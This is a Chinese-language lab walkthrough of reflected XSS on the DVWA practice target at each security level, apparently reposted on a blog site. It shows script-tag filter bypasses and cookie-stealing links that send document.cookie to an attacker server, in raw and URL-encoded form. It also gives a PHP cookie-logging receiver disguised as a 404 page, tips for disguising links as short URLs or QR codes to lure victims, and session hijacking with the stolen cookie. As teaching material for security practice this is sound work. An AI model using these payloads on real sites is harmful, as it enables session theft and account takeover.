当前位置:   article > 正文

DVWA靶机-反射性XSS漏洞(Reflected)_xss反射性 injection.dvwa

xss反射性 injection.dvwa

DVWA靶机-反射性XSS漏洞(Reflected)

DVWA靶机-暴力破解(Brute Force) && DVWA靶机的四个安全等级
DVWA靶机-命令注入漏洞(Command Injection)
DVWA靶机-文件包含漏洞(File Inclusion)
DVWA靶机-文件上传漏洞(File uploads)
DVWA靶机-跨站请求伪造(CSRF)

XSS跨站脚本攻击

XSS(Cross Site Script):全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称之为XSS。

XSS攻击:通常指黑客通过HTML注入(控制输入变量),插入恶意脚本,从而在被攻击者浏览网页时,加载并执行攻击者恶意制造的网页程序,通常指JS,实际可包含java、VBscript、ActiveX、Flash、html,攻击成功后,攻击者可能得到一定的权限私密网页内容会话cookie等。

这种行为最初出现之时,所有的XSS攻击案例都是跨域行为,所以叫做跨站脚本。时至今日,随着WEB端功能的复杂化,应用化,是否跨站已经不重要但是XSS这个名字依然留存下来。

反射性XSS挖掘方法

1.反射型XSS漏洞可能存在的环境

我们在许多网页中可能都有搜索栏,在搜索栏中输入关键词查找后,页面回回显全部的或者部分的关键词,且在url中也会出现该关键词,此时该网页可能就存在反射性XSS漏洞。
在这里插入图片描述
此时可以做一个简单的测试,测试是否为GET型传参
alert()函数: 弹窗函数

<script>alert(1)</script>
  • 1

在这里插入图片描述

2.漏洞检验-恶意代码化

此时漏洞就发现了,我们可以编辑恶意型的代码插入url中执行.

3.生成链接,诱导被攻击者点击

当发现这个漏洞后,我们需要对插入了恶意代码的链接进行变形、比如长链接变短链接长链接变二维码图片链接等,目的就是要诱导用户来点击该链接,从而达成攻击的效果。
在这里插入图片描述

1.DVWA-LOW等级下的反射型XSS漏洞

(1).本地用户登录,测试XSS漏洞所在位置

在LOW等级下,Reflectd型XSS的页面回显如下,在搜索栏里输入123,页面回显123,且在url中123也出现,此时该页面可能存在反射型XSS漏洞,同时也不存在任何防护的安全策略,我们可以实施攻击。
在这里插入图片描述
可以查到搜索栏的源代码
在这里插入图片描述
在回显Hello 123时使用的为<pre>Hello 123</pre>
此时我们可以考虑打破<pre>的闭合,在输入中加入其它函数或者标签。
alert() && confirm() && prompt()函数: 都为弹窗函数

我们在url中name后面加入<script>alert(1)</script>打破<pre>闭合,此时alert()函数执行,弹出1

在这里插入图片描述
此时可以进行一些有攻击性的操作,我们在url中构造出获取被攻击者cookie值的函数,盗取用户的cookie值。

(2).构造恶意链接、盗取用户cookie

document.location: 指定cookie传送站点
10.113.241.2: 为攻击者服务器
document.cookie: 获取当前用户的cookie值

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://10.113.241.2/xss.php?cookie=' +document.cookie;</script>

xss.php:为LOW等级获取cookie的处理方法

//xss.php
<?php
    $cookie = $_GET['cookie'];	//获取cookie变量的值
	$log = fopen("cookie.txt","w");	//创建并打开一个cookie.txt的文本权限为写入
    fwrite($log,$cookie."\n");	//把cookie的值写入创建的文本
	fclose($log);	//关闭文本
?>
<h1>404<h1>
<h2>file not found.<h2>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss.php文件,xss.php中定义文件操作,将获取的cookie写入cookie.txt文件,此时攻击者就获取了用户的cookie值。

如下是通过转码的恶意链接,用户点击这个链接会执行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E
  • 1

被攻击者点击该链接后就会弹窗到如下页面
在这里插入图片描述
要使该链接变的更加有迷惑性,可以进行长短链接的变换,链接生成二维码,或者具有诱惑性的图片链接等。

图中为用户点击恶意链接后在攻击者本地生成的cookie.txt文件,里面已经写入了用户的cookie值。
在这里插入图片描述
在这里插入图片描述

(3).以用户的身份认证(cookie值)登录网站

在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接

在这块,由于之前的cookie,我在浏览器中清除了一次,在此处为了演示步骤,直接用cookie值连接,原理相同
在这里插入图片描述
LOW 等级下的反射性XSS源码:
XSS (Reflected) Source:

array_key_exists()函数: 检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false

array_key_exists(key,array):key和array都是必须存在的,key为规定键名,array为规定数组。

在源终GET得到的值是以数组的形式,然后判断GET得到的name是不是空,不为空,执行echo语句。

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

2.DVWA-Medium等级下的反射型XSS漏洞

(1).漏洞测试

在Medium等级下,必然存在着一些过滤策略,同low等级一样,漏洞的位置是一样的
在这里插入图片描述
此时我们用alert()函数,弹窗函数,测试是否能利用<script></script>标签是否可用
在这里插入图片描述
此时发现alert()函数不能弹窗,且页面回显alert(1),此时我们可以分析到<script></script>未能起到作用,应该是被过滤,我们查看Medium等级下的源码

XSS (Reflected) Source:
str_repalce()函数: 在此处过滤了标签<script></script>,将GET中输入中的script标签替换为空

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

绕过str_replace()函数:
1.双写绕过,双写<script>

<scri<script>pt>alert(1)</script>
  • 1

2.大小写字母绕过,str_replace()函数替换的为字符串,此时可以将script标签改为大写绕过

<ScRipt>alert(1)<ScRipt>
  • 1

在这里插入图片描述

(2).构造恶意链接、盗取用户cookie

同low等级一样,构造的恶意链接为

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<ScRipt>document.location='http://10.113.241.2/xss1.php?cookie=' +document.cookie;</ScRipt>

low等级不同的是,<ScRipt></ScRipt>

xss1.php:为Medium等级下获取cookie的处理方法
创建的用户保存用户cookie的文档为,cookie1.txt文档

//xss1.php
<?php
    $cookie = $_GET['cookie'];	//获取cookie变量的值
	$log = fopen("cookie1.txt","w");	//创建并打开一个cookie1.txt的文本权限为写入
    fwrite($log,$cookie."\n");	//把cookie的值写入创建的文本
	fclose($log);	//关闭文本
?>
<h1>404<h1>
<h2>file not found.<h2>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss1.php文件,xss1.php中定义文件操作,将获取的cookie写入cookie1.txt文件,此时攻击者就获取了用户的cookie值。

如下是通过转码的恶意链接,用户点击这个链接会执行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E
  • 1

在这里插入图片描述
要使该链接变的更加有迷惑性,可以进行长短链接的变换链接生成二维码,或者具有诱惑性的图片链接等。

此时cookie1.txt中已经写入cookie值
在这里插入图片描述
在这里插入图片描述

(3).以用户的身份认证(cookie值)登录网站

在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接

在这里插入图片描述

3.DVWA-High等级下的反射性XSS漏洞

在High等级下必然定义了比Medium等级更强的安全策略,我们查看其源码
High等级下的反射性XSS源码:
preg_replace()函数: 函数用于正则表达式的搜索和替换,替换为空,i为不区分大小写

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

绕过方法:

使用其他的标签,<img src=x onerror=alert(1)>
img调用图片,在此处,当图片的src所指的路径不存在图片,则弹出对话框,回显1
在这里插入图片描述
由于preg_replace()函数,此时像low和medium等级的构造恶意链接方式不可用

4.impossible等级

impossible等级防范XSS反射型的一个案例,相当强大

impossible等级源码:
impossible Reflected XSS Source:

htmlspecialchars()函数: 将特殊字符转换为 HTML 实体
token机制: 随机值

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/335299
推荐阅读
  

闽ICP备14008679号